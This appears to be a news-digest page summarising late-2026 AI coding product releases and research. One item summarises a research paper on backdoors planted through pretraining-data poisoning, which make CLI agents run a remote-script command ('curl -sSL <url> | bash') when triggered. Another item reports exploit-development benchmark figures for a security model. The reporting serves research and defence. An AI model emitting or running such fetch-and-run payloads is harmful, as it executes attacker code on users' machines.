AI Coding Live News

OpenAI Codex CLI 0.167.0: Agent Command Center with Unread Marks, Backend Switching that Keeps Drafts, Vertex AI Setup Wizard

On 2026-11-06 OpenAI shipped Codex CLI 0.167.0 on GitHub and the ChatGPT/Codex changelog. Open the agent command center with codex agents --no-daemon (unread results marked); switch connected backends in the terminal session picker while keeping drafts; preview local images; expand patches during approval prompts; optionally enable a Google Cloud Vertex AI setup wizard.

Key Takeaways

  • Official: GitHub rust-v0.167.0 (2026-11-06T01:40Z) and same-day ChatGPT/Codex changelog entry
  • Command center: codex agents --no-daemon; unread results marked in the center and session picker
  • Multi-backend: switch connected backends from the terminal session picker while keeping drafts
  • UX: local image previews in supported terminals; expand patch details while an approval prompt is open; network approval prompts close when requests end and serialize per endpoint
  • Auth: enable gcp_setup_wizard for Vertex AI under Sign in another way (ADC or credential file); opt into macOS/Windows system proxies from /experimental
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Anthropic: Claude Enterprise Inference Hooks Generally Available for Prompt and Pre-Tool-Call DLP Checks

Anthropic updated Claude Enterprise security and admin features: Inference Hooks (prompt hooks and pre-tool-call hooks) are generally available so prompts and tool calls can hit the organization's existing DLP/security stack for allow/deny before the model or tool runs. The same post also introduces a Security Center, centralized management, and additional access controls (mostly beta).

Anthropic: Claude Enterprise Inference Hooks Generally Available for Prompt and Pre-Tool-Call DLP Checks

Key Takeaways

  • Official: claude.com article More visibility and control over Claude Enterprise for security teams
  • GA: Prompt hooks and pre-tool-call hooks into existing enterprise DLP/security tools
  • Coverage: prompts and tools/skills/plugins/MCP on supported products; one org setup
  • Same post, mostly beta: Security Center, centralized management, Admin API sign-out, self-serve IP allowlist, Desktop shadow-IT block, Cowork EDR
  • Limits: Enterprise; hooks see transcript/tool-call text, not raw file bytes; configure timeout fail policy
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OpenAI Launches GPT-6 Cyber: ExploitGym 48.5%, Out-of-Scope Rate Down to 0.07%, Daybreak Red Select Access, Critical Preparedness

On November 5 OpenAI launched GPT-6 Cyber for authorized security research: ExploitGym rose from GPT-5.6 Cyber's 32.1% to 48.5% (about 51% relative), out-of-scope exploitation fell to 0.07% without deployment prompts and 0% with them. The model helped find 81 novel high-severity Firefox bugs and develop exploits for 948 Linux privilege-escalation cases, and OpenAI raised its Preparedness Framework cyber rating from High to Critical. It is initially available via API and Codex to select Daybreak Red customers, with expansion to all Red customers planned.

OpenAI Launches GPT-6 Cyber: ExploitGym 48.5%, Out-of-Scope Rate Down to 0.07%, Daybreak Red Select Access, Critical Preparedness

Key Takeaways

  • ExploitGym 48.5% vs GPT-5.6 Cyber 32.1% (~51% relative gain; vendor figures)
  • Scope alignment: 99.93% avoided out-of-scope services without deployment prompts; 100% with them
  • Real-world: 81 novel high-severity Firefox vulns; 1,724 Linux vulns reproduced, 948 exploits developed
  • Preparedness raised to Critical; RemoteExploitBench 95% completion (Astra refused 100%)
  • Select Daybreak Red via API/Codex first; Daybreak Blue alpha for Astra defensive use expanding
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Notion: MCP Shared Brain Lets ChatGPT, Claude, Muse and Bot Share Memories and Skills, With Official Agent Setup Prompts

On November 4 NotionHQ announced that via Notion MCP, ChatGPT, Claude, Muse and Bot can read and write the same Memories and Skills—one shared brain across agents. Official setup prompts (v0.0.6, Oct 30), help docs and a Nov 3 MCP use-cases blog corroborate the product push.

Notion: MCP Shared Brain Lets ChatGPT, Claude, Muse and Bot Share Memories and Skills, With Official Agent Setup Prompts

Key Takeaways

  • NotionHQ post (Nov 4, 19:14 UTC) had about 3,271 likes, 225 reposts, 4,560 bookmarks and ~589K views when fetched
  • Product claim: ChatGPT / Claude / Muse / Bot share Memories and Skills in Notion so switching agents does not reset context
  • Official setup prompt v0.0.6 (2026-10-30): walks agents through an Agent Operating Guide and custom-instruction paste for ChatGPT / Claude
  • Help center: Notion MCP works with Claude, Cursor, ChatGPT Pro and more; Enterprise can approve a whitelist and govern connections
  • Vendor blog (Nov 3): five team stories of MCP workflows as reusable SOPs; Skills via MCP are listed as coming soon
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Claude Code Background Subagent Status Lines Now Written by Haiku 5.5: About 99% Cheaper per Update, About 6% More Prompts per Limit

On November 4 ClaudeDevs, Anthropic's official developer account, said the status line that a background subagent in Claude Code refreshes every 30 seconds used to re-read its whole conversation each time, and is now written by Haiku 5.5 from short notes, so each update costs about 99% less. Anthropic says sessions with background subagents used about 5% less of the limit, giving about 6% more prompts on the same limit. It is live for most Pro, Max and Ultra users and everyone on Team and Enterprise, on v2.1.316 or later.

Key Takeaways

  • A background subagent refreshes its status line every 30 seconds, and each refresh used to re-read the subagent's whole conversation
  • Haiku 5.5 now writes the status line from short notes, which Anthropic says makes each update about 99% cheaper
  • The subagent itself keeps its own model; only the status line is written by Haiku 5.5
  • Anthropic says sessions with background subagents used about 5% less of the limit, so the same limit gives about 6% more prompts
  • It is live for most Pro, Max and Ultra users and everyone on Team and Enterprise; update to v2.1.316 or later
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DeepSeek Harness Launches Creator Mode: Describe a Plugin in Chat and the Agent Builds It, With 7 Official Demo Prompts

DeepSeek Harness, DeepSeek's open-source, MIT-licensed agent app, announced Creator Mode on its official X account on November 2: users describe the plugin they want in plain language, and the agent turns it into a plugin they can use. Demos include a 3D landmark gallery, a 3D Transformer visualizer, a video editing workbench and a paper reader. DeepSeek also published seven bilingual demo prompts on cdn.deepseek.com, cautioning that some plugins took several rounds of conversation, so a single prompt may not reproduce the video exactly. The post drew about 20,000 likes and 1.69 million views. No benchmarks were published.

DeepSeek Harness Launches Creator Mode: Describe a Plugin in Chat and the Agent Builds It, With 7 Official Demo Prompts

Key Takeaways

  • Creator Mode: describe the plugin you want in natural language and the agent turns it into a usable plugin, from a design workspace to a sandbox game or a 3D LLM visualizer.
  • DeepSeek published 7 demo prompts: a 3D landmark gallery, a 3D Transformer demo, a five-style app theme switcher, a poster workbench, a video editor, a paper reader and a token-usage statistics plugin.
  • The entry point shipped in v0.2.1-rc.5 (Oct 30 pre-release): plugin management gained a "Let Agent create a plugin" button that opens Creator mode and keeps the draft.
  • The GitHub repo has about 270,000 stars under the MIT license; Harness is still in preview.
  • No benchmarks or success rates were published; the announcement drew about 20,000 likes and 1.69 million views.
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Linked Models & Agents:
X
Xinyan Hu, Pingbang Hu et al. (Anthropic Fellows Program / Anthropic)arxiv.org·
👀40
🔥82

Anthropic Fellows paper: poisoning 0.1% of pretraining data plants a remote-code-execution backdoor in CLI agents that survives clean SFT, DPO and RL

Researchers from the Anthropic Fellows Program and Anthropic, including Nicholas Carlini and Javier Rando, published "Agentic Backdoors via Pretraining Poisoning" on arXiv. They pretrained three Qwen3-architecture models from scratch at 0.6B, 1.7B and 4B, mixed just 0.1% poisoned documents into the pretraining corpus, and then turned each model into a command-line agent with a fully clean SFT, DPO and GRPO pipeline. The backdoor survived: when the trigger appears, the agent runs a remote-script command like curl -sSL <url> | bash. The 4B model reached a 92.7% Pass@32 attack success rate with an ordinary file-path trigger, while emitting the payload on 0% of clean prompts.

Key Takeaways

  • Poison budget: only 0.1% of a 100B-token pretraining corpus; the attacker needs no access to the model architecture or post-training pipeline (paper)
  • Persistence: the backdoor survives clean SFT, DPO and GRPO (RLVR) post-training and does not lower capability eval scores (paper figures)
  • Success rate: the 4B model hits 92.7% Pass@32 attack success with an ordinary path trigger and 10.5% with a rare-string trigger; payload emission on clean prompts is 0% (paper figures)
  • Scale effect: attack success rises monotonically with model size, and the 4B model stays above zero even at a 0.0005% (1 in 200,000) poison rate
  • Defense: clean data cannot be guaranteed, so the authors point to the action layer, such as sandboxing, least privilege, and allow-lists or human confirmation for risky commands; code is open source (GitHub)
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Linked Models & Agents:
g
guregodevo (Memdoor author)github.com·
👀32
🔥81

Memdoor reproduces GVS5H: a team of five Qwen3.8-27B agents averages 9.8/10 on the first 10 LiveCodeBench Hard problems, against 8.0 for a single Fable 5 call

On Oct 31 the open-source coding agent Memdoor (GitHub guregodevo/memdoor, Apache 2.0) published its team-solve workflow: using the GVS5H paper authors' exact prompts and loop, five Qwen3.8-27B instances act as planner, two ideators, solver and manager, talk only through files on disk, and a script that runs the tests decides success. Over five passes on the first 10 LiveCodeBench Hard problems from the GVS5H list it averaged 9.8/10, against 9.6 for the authors' own harness and 8.0 for a single Fable 5 call; 49 of 50 runs solved the problem for $35.79 in total, and every request and reply is public. The Hacker News post has about 200 points. This is a community reproduction on only 10 problems, and the author notes that training-data contamination cannot be ruled out.

Key Takeaways

  • Score: a mean of 9.8/10 over five passes (10, 10, 10, 10, 9), against 9.6 for the GVS5H authors' own harness and 8.0 for a single Fable 5 call (team-solve README, project-reported)
  • Cost: 49 of 50 runs solved, $35.79 and 15.3M output tokens in total; a median run took about 40 minutes of model time and $0.39, the longest 4 hours
  • Method: five roles (planner, two ideators, solver, manager) plus a repair worker each start from a fresh context, talk only through files on disk, and a shell script that runs the tests decides success instead of a model
  • Limits: only 10 problems rather than the paper's 100; the contests date from March and April 2025 and may be in training data; Fable 5's column comes from the GVS5H authors' result files and was not rerun in this harness
  • Reach: the HN post has about 200 points as of Nov 1, 16:10 SGT; the original GVS5H paper is arXiv 2608.26480, which reached #1 on HN on Oct 25
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OpenAI Agents API ships Auto Review, async compaction, experimental time awareness and mid-session tool updates

The OpenAI Developers account shared a post by Steve (@stevendcoffey), who works on the API at OpenAI, listing five Agents API updates this week: Codex-style Auto Review of commands before execution, compaction that runs in the background, an experimental time-awareness feature, updating a session's tools at any time, and automatic caching of system prompts across all sessions. As of writing, the official API changelog does not list these items yet.

Key Takeaways

  • Five updates: Auto Review, async compaction, time awareness (experimental), updating session tools at any time, and automatic cross-session system prompt caching
  • Auto Review mirrors the Codex mechanism and evaluates commands for potential bad behavior before they run
  • Time awareness lets the model act on time-boxed instructions such as "timebox CI fixes to 10 minutes"
  • The Agents API entered public beta on September 10, and this is another round of features within 7 weeks (after computer use on Sep 29, sandbox prewarming on Oct 9 and Ultrafast mode on Oct 16)
  • OpenAI has published no latency or cost-saving numbers, and the changelog has not listed these items yet
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ElevenLabs releases SFX v3 sound effects model: multi-part prompts, better music and vocals, now in ElevenAPI (limited access)

ElevenLabs' official account announced SFX v3 at 18:03 UTC on Oct 29, saying it creates richer, more precise sound effects from a single text prompt, with improved music and vocals, now available in ElevenCreative and ElevenAPI. Official docs list the model ID eleven_text_to_sound_v3 on the existing Sound Effects API, but v2 remains the default and v3 is in limited access and may not be available in every region.

ElevenLabs releases SFX v3 sound effects model: multi-part prompts, better music and vocals, now in ElevenAPI (limited access)

Key Takeaways

  • Model ID: eleven_text_to_sound_v3, on the same Sound Effects API as v2; switch by changing model_id, while eleven_text_to_sound_v2 stays the default
  • Docs list 4 improvements: several instructions in one prompt, music and vocal prompts, more natural output, and less clipping on high-frequency sounds like gongs, chimes and whistles
  • Limited access: accounts without access get an Unknown model error, and it may not be available in every region
  • Duration 0.1 to 30 seconds, billed at 40 credits per second when a duration is specified (Sound Effects endpoint rule), with loop for seamless looping
  • Benchmarks: no quantitative scores published; docs advise comparing v2 and v3 on your own prompts
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Linked Models & Agents:
⚡ SFX v3⚡ eleven_text_to_sound_v3🌐 ElevenLabs
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O
OpenAI@AICoder·
👀52
🔥80

OpenAI Codex CLI 0.166.0: keyboard transcript selection, GPT-6.1 Terra in Vertex AI and Bedrock catalogs, codex doctor network checks

OpenAI published the stable Codex CLI release rust-v0.166.0 on GitHub at 19:47 UTC on Oct 29. It adds keyboard-driven transcript selection by word, line and page with built-in search, adds GPT-6.1 Terra to the bundled, Vertex AI and Amazon Bedrock model catalogs, introduces codex queue --resume and codex doctor --network-only, and shows clearer safety-block explanations with selectable safer follow-up prompts in the TUI.

Key Takeaways

  • Model catalogs: GPT-6.1 Terra added to the bundled, Vertex AI and Amazon Bedrock catalogs (#57293)
  • Transcript: keyboard selection by word, line and page, integrated search and configurable shortcuts (#57221 to #57224)
  • New commands: codex queue --resume resumes unloaded threads after queueing a message; codex doctor --network-only checks config, connectivity and WebSocket
  • Safety UX: clearer explanations when a request is blocked, plus selectable safer follow-up prompts (#57363, #57365)
  • Fixes: approval and permission settings survive resume and fork, and reasoning-token accounting is preserved to avoid premature compaction
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GitHub Copilot Automations go team-wide: repo-owned shared automations, 24 new triggers, 20 new tools and AI credit limits

At GitHub Universe on Oct 28, GitHub shipped a batch of Copilot Automations updates. Shared automations now belong to the repository, act as Copilot, bill AI credits to the repo owner and keep running after their creator leaves. Automations gain 24 new GitHub event triggers, REST API triggers from external systems and chaining, plus 20 new tools and custom MCP servers. Teams can cap AI credits per run, day, week or month, automations can propose improvements to their own prompts from real outcomes, and VS Code 1.144 can run them in the cloud.

GitHub Copilot Automations go team-wide: repo-owned shared automations, 24 new triggers, 20 new tools and AI credit limits

Key Takeaways

  • Shared automations belong to the repository: anyone with read access can view them, anyone with write access can edit, actions are attributed to Copilot and AI credits bill to the repo owner
  • 24 new triggers across issues, pull requests, discussions and security alerts, plus REST API triggers from systems like Jira, Sentry and PagerDuty
  • 20 new GitHub tools (merge PRs, retry workflow runs, upload screenshots and more) and support for custom MCP servers
  • AI credit limits can be set per run, day, week or month; org repos need an admin to enable the "Allow use of Copilot cloud agent billed to the organization" policy
  • Rolling out to Copilot Pro, Pro+, Max, Business and Enterprise; VS Code 1.144 runs them in the cloud with chat.automations.cloud.enabled
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Cognition launches FrontierCode 2.0 coding benchmark: it asks whether a PR should be merged, and top model Claude Opus 5.5 scores just 45.5%

Cognition, the maker of Devin, released FrontierCode 2.0 on Oct 27. It keeps the method of maintainer-written tasks graded on whether the code is actually mergeable, but draws tasks from more repositories, adds security patches and performance work, uses deliberately underspecified prompts and adds many thoroughness criteria. In Cognition's results Claude Opus 5.5 leads at 45.5%, GPT-6 Astra follows at 42.8%, and Grok 4.7 and Gemini 4 Argon drop into the 20s, leaving the benchmark far from saturated.

Cognition launches FrontierCode 2.0 coding benchmark: it asks whether a PR should be merged, and top model Claude Opus 5.5 scores just 45.5%

Key Takeaways

  • Claude Opus 5.5 leads at 45.5% (54.6% on v1.1) and GPT-6 Astra scores 42.8% (53.3% on v1.1), per Cognition (vendor-reported)
  • Grok 4.7 scores 28.6%, Gemini 4 Argon 26.3%, Muse Wonder 1.0 24.3%, SWE-2 23.9%, DeepSeek V4.1 Flash 19.3% and Kimi K3 17.7%, showing a wide gap for open models
  • Versus v1.1, reference solutions touch 67% more files and 89% more lines in codebases 25% larger; tasks come from 55% more repositories with 43% more blocking criteria
  • Thoroughness blockers grew from 168 to 501, about 3x; in 80% of tasks the reference solution improves on the upstream PR, and an audit agent found and reported an upstream security vulnerability
  • On the cost-score Pareto frontier, Opus 5.5 sits at the high end and Luna, Haiku and Sol at the low-cost end, with GPT-6.1 Sol called out for strong value (official blog)
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Cursor Design Mode adds Annotate: point, draw and edit text on your running app to send visual prompts to agents

On Oct 27 Cursor announced Annotate for Design Mode: in the Agents Window browser you can click elements, box an area, draw markup, edit text in place or tweak CSS, and each note is sent to the agent with element details and a screenshot so it can edit the code. The post says you can also review designs at different screen sizes. It needs Cursor 3.24.18 or later, and the shortcut is Cmd+Shift+D.

Cursor Design Mode adds Annotate: point, draw and edit text on your running app to send visual prompts to agents

Key Takeaways

  • Requires Cursor 3.24.18 or later; click Annotate in the Agents Window browser toolbar or press Cmd+Shift+D
  • Each note carries the element tag, id, classes, selector path, first 200 visible characters, size and position, six computed styles and a cropped screenshot (official docs)
  • React, Vue and Svelte apps also send the component name and component stack so the agent can find the source
  • Batch edits switch: off sends each note on Return, on collects numbered pins and sends them as one message
  • Cursor recommends a fast model that is strong at interface work, such as Composer 2.5
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Cloudflare discloses a cross-request KV cache leak in GLM-5.3 on Workers AI: a config mismatch plus an SGLang bug let 155 responses carry other users' data over 13 days

In an Oct 26 incident report on its blog, Cloudflare said that between Aug 27 and Sep 9, 155 responses from GLM-5.3 on Workers AI (@cf/zai-org/glm-5.3) to prompts longer than 681,280 tokens contained data from other customers' recent requests, all returned with HTTP 200. The cause was a prefill KV cache pool smaller than the 1,048,576-token context window, combined with an SGLang bug in disaggregated prefill/decode mode. Cloudflare found no evidence of deliberate exploitation, has fixed it, and recommends operators upgrade to SGLang v0.5.22 or later.

Cloudflare discloses a cross-request KV cache leak in GLM-5.3 on Workers AI: a config mismatch plus an SGLang bug let 155 responses carry other users' data over 13 days

Key Takeaways

  • Scope: 155 responses between 2026-08-27 and 09-09, all to prompts over 681,280 tokens; Cloudflare confirmed no other Workers AI model was affected
  • Cause 1: GLM-5.3 advertised a 1,048,576-token context but the prefill KV pool held only 681,280 tokens; after the fix the pool holds about 2.04 million tokens, roughly twice the context
  • Cause 2: SGLang marked over-length requests as rejected and swapped in a one-token placeholder without aborting, so the decode node read stale cache pages from earlier requests
  • Response: report from Gadi Evron of Knostic via HackerOne on Sep 8; model taken offline within 40 minutes of declaring the incident on Sep 9 and restored at 19:40 UTC that day
  • Action: teams running SGLang should upgrade to v0.5.22 or later and check KV pool size against context length directly
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Linked Models & Agents:
⚡ Z.ai GLM 5.3🌐 cloudflare🌐 zai